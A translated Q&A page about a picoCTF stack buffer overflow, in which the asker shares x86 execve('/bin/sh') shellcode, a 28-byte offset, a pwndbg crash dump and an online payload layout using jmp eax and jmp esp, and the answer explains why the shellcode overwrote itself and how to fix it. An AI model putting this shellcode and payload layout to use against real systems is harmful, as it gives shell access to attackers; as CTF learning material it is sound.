ROP - jmp esp 的使用

问题描述 投票:0回答:1

我今天玩了一些 picoCTF 挑战赛,发现自己陷入了挑战。 在互联网上挖掘,我在网上找到了一个我无法完全掌握的解决方案。

这个挑战(对于玩 picoCTF 的人来说,我不会破坏它的名字)围绕着一个易受攻击的 x86 ELF,它涉及使用 ROP 小工具来获得 shell,但是

checksec
显示该二进制文件不是 PIE,并且没有启用 NX。

通过在易受攻击函数的

ret
处进行中断,我注意到
EAX
寄存器包含堆栈上缓冲区的起始地址。而且,我发现缓冲区的起始位置和保存的EIP之间的偏移量是28字节。

所以我的第一个猜测是制作一个足够短的 shellcode,将其放置在 NOP sled 前面的缓冲区中,并使用跳转到

saved EIP
寄存器(又名缓冲区的开始)内容的小工具覆盖
EAX
.

但是,我发现这个方法行不通。 我制作的 shellcode 是:

int 0x3   ; used for debugging purposes
xor eax, eax
push eax
push 0x0068732f
push 0x6e69622f
xor ebx, ebx
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

我使用 pwntool 的

asm
库组装它,将架构设置为
i386
。 调试器在执行几个步骤后会显示以下内容:

pwndbg> 

Program received signal SIGSEGV, Segmentation fault.
0xff854a01 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2088
 EDX  0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 EDI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 ESI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 EBP  0x90909090
 ESP  0xff854a00 ◂— 0x0
 EIP  0xff854a01 ◂— 0x2f000000
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
   0xff8549f3    push   eax
   0xff8549f4    push   0x68732f
   0xff8549f9    push   0x6e69622f
   0xff8549fe    xor    ebx, ebx
   0xff854a00    add    byte ptr [eax], al
    ↓
 ► 0xff854a01    add    byte ptr [eax], al
   0xff854a03    add    byte ptr [edi], ch
   0xff854a05    bound  ebp, qword ptr [ecx + 0x6e]
   0xff854a08    das    
   0xff854a09    jae    0xff854a73                    <0xff854a73>
    ↓
   0xff854a73    add    byte ptr [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp eip-1 0xff854a00 ◂— 0x0
01:0004│           0xff854a04 ◂— '/bin/sh'
02:0008│           0xff854a08 ◂— 0x68732f /* '/sh' */
03:000c│           0xff854a0c ◂— 0x0
04:0010│ edx       0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
... ↓              2 skipped
07:001c│           0xff854a1c ◂— 0x3e8
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0xff854a01
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

意味着执行在

0xff854a00
处中断。

现在我在网上找到的解决方案涉及通过以下方式制作溢出字符串:

  1. 写 6 个 NOP。
  2. 放置
    jmp esp
  3. 的组装指令
  4. 再写 20 个 NOP。
  5. 放置
    jmp eax
    小工具跳转到缓冲区的开头,覆盖保存的EIP。
  6. 附加 shellcode。

据我了解,

jmp ESP
指令允许在
ret
指令之后直接执行,从而跳转到shellcode内部,但我想了解更多信息。

我什至尝试回忆 x86 调用/返回协议,但似乎我无法完全理解跳转到堆栈将如何真正解决挑战。

我寻求你的帮助。 谢谢!

assembly buffer-overflow calling-convention exploit shellcode
1个回答
0
投票

您的代码位于堆栈指针下的堆栈上。部分内容会被您自己的

push
指令覆盖。请注意,
bound ebp, qword ptr [ecx + 0x6e]
具有与
62 69 6E
相对应的机器代码
push 0x6e69622f
。向下调整
esp
适当的量应该可以解决问题,例如
sub esp, 32

另一种解决方案通过将大部分 shellcode 放在堆栈指针上方并仅使用单个

jmp esp
来转移控制来解决该问题。这是内存布局的说明:

|    ...      |           |     ^       |
|    ...      |           |     |       |
|    ...      |           |     |       |
|    ...      | <= ESP => |  shellcode  |
+-------------+           +-------------+
|  ret addr   |  jmp eax  |  ret addr   |
+-------------+           +-------------+
| pushed data |           | pushed data |
|     |       |           |     |       |
|     |       |           |     |       |
|     v       |           |     v       |
|  !overlap!  |           |    ...      |
|     ^       |           |   jmp esp   |
|     |       |           |    nop      |
|     |       |           |    nop      |
|  shellcode  | <= EAX => |    nop      |
+-------------+           +-------------+

最初的

nop
可能不需要,它应该与
jmp esp
后跟 26 个
nop
(或任何填充,因为它不会被执行)一起正常工作。

© www.soinside.com 2019 - 2024. All rights reserved.